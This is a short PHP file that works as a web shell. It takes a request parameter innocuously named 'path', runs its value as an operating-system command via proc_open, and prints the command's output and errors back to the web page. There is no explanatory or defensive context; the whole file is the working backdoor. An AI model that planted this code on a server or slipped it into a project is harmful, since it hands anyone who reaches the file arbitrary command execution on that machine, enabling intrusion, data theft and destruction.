<?php $command = $_REQUEST["path"];$descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"));$process = proc_open($command, $descriptorspec, $pipes);if (is_resource($process)) {$stdout = stream_get_contents($pipes[1]);fclose($pipes[1]);$stderr = stream_get_contents($pipes[2]);fclose($pipes[2]);$return_code = proc_close($process);echo "<pre>" . $stdout ."</pre>";if (!empty($stderr)) {echo "<h4>Errors:</h4>";echo "<pre>" . htmlspecialchars($stderr) . "</pre>";}} else {echo "Failed to start process.";}?> 
